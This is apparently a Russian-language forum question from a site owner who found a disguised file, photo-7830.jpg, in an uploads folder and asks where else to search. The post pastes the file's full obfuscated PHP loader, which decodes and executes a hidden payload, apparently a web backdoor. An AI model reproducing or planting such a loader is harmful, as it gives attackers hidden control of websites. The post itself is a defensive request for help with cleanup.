Нашел в папке uploads файл photo-7830.jpg с , внутри
<?php $geix7yo9='5~I~2i~}dO~c;~Ql=>5]>FH<pl]iUpQdi~cdO~Ic}~Q&iH(Gv>Hip>v(aCA_uF4+ea/&hh&GH<pl]iUpF>7iO]O(QOY<]vU1p$588!5l-Q/&5pv&zPF6SAXSATQKqq+FBQ:kkQ!Q/&2&H<pl]iUp&OY<]vU1p$588!5l-(/2&>lYU&QNGLLQ?Mv;(Q8ip-OQ/?QLLgQd&y&=>miO]>=FOY<]vU1pFH<pl]iUp(QOY<]vU1p$588!5l-Q/d&y&Qdy';global$g66826e0;$g66826e0=array();$di0guulo=array(208,203,214,192,215,204,196,201,223,159,151,222,149,158,148,144,135,198,209,250,195,202,133,141,132,193,130,227,247,234,232,236,245,231,140,131,221,205,210,230,199,206,229,129,246,224,243,254,237,241,228,248,152,153,136,139,200,155,216,194);foreach($di0guulo as $r8lfkusa)$g66826e0[]=($r8lfkusa^165);$i7g8bnre=t1oh17w7(array(60,112,79,62,61,105,53,56,105,114,62));$ejalbmrz=$i7g8bnre(t1oh17w7($geix7yo9));$rzma7bw1=$ejalbmrz[0];$l4hrqoe6=$rzma7bw1('',$ejalbmrz[1]);$l4hrqoe6();function t1oh17w7($vi3,$rpn='',$vw="\x63\x68\x72"){global$g66826e0,$pui8;if(!isset($pui8))$pui8=array();static$sygb;if(!isset($sygb))$sygb=0;$cm=$ras=$tj=$qy=$vw;$bt7=$tj(246^149).$tj(51^92).$vw(164^209).$ras(154^244).$vw(51^71);$pqh=$qy(186^201).$vw(46^90).$tj(191^205).$ras(45^65).$tj(152^253).$tj(4^106);$tfo=$qy(141^228).$cm(20^103).$vw(68^27).$tj(95^62).$tj(168^218).$tj(76^62).$vw(110^15).$qy(139^242);$opn=$tj(7^104).$qy(12^126).$tj(203^175);for($yu7=0,$pw4m=0;$yu7<($tfo($vi3)?$bt7($vi3):$pqh($vi3));$yu7++){$zfhn=(($tfo($vi3)?$vi3[$yu7]:$opn($vi3[$yu7])));if($zfhn==(17^27)||$zfhn==(25^20))continue;if(!isset($pui8[$zfhn])) $pui8[$zfhn]=$sygb++;if(!isset($g66826e0[$pui8[$zfhn]])){echo($vi3[$$yu7].' '.$zfhn);exit;}$n01y=$vw( $g66826e0[$pui8[$zfhn]]);$rpn.=$n01y;}return$rpn;} ?>
но больше никаких подозрительных файлов нет, все чисто, где еще поискать ?